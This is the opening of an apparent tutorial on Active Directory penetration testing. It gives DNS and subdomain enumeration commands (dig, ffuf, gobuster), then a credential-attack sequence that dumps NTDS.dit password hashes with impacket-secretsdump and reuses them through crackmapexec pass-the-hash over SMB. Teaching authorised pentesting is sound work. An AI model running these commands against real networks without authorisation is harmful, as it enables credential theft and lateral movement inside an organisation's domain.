Mastering Active Directory Pentesting: A Comprehensive Guide
<h1>Introduction</h1>
<p>Microsoft’s Active Directory (AD) is the backbone of Windows domain networks. AD penetration testing is critical for discovering and mitigating security threats. In this book, we’ll look at several Active Directory penetration testing approaches, commands, and samples.</p>
<h1>Enumeration</h1>
<h1>From Outside</h1>
<h2>Domain Controllers Discovery</h2>
<p>To discover Domain Controllers using DNS:</p>
<pre>
dig @<target-ip> <domain-name> any</pre>
<p><strong>Subdomain enumeration with </strong><code><strong>ffuf</strong></code><strong>:</strong></p>
<pre>
ffuf -u https://FUZZ.example.com -w subdomains.txt -mc 200,301,302,403</pre>
<p><strong>Using </strong><code><strong>gobuster</strong></code><strong> for DNS:</strong></p>
<pre>
gobuster dns -d example.local -w subdomains.txt -t 25</pre>
<h2>Dumping Password Hashes</h2>
<p>Use <code>impacket-secretsdump</code> to extract password hashes:</p>
<pre>
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL -outputfile hashes
cut -d: -f3,4 hashes.ntds > hashes.txt
crackmapexec smb <target-ip> -u <username> -H hashes.txt</pre>
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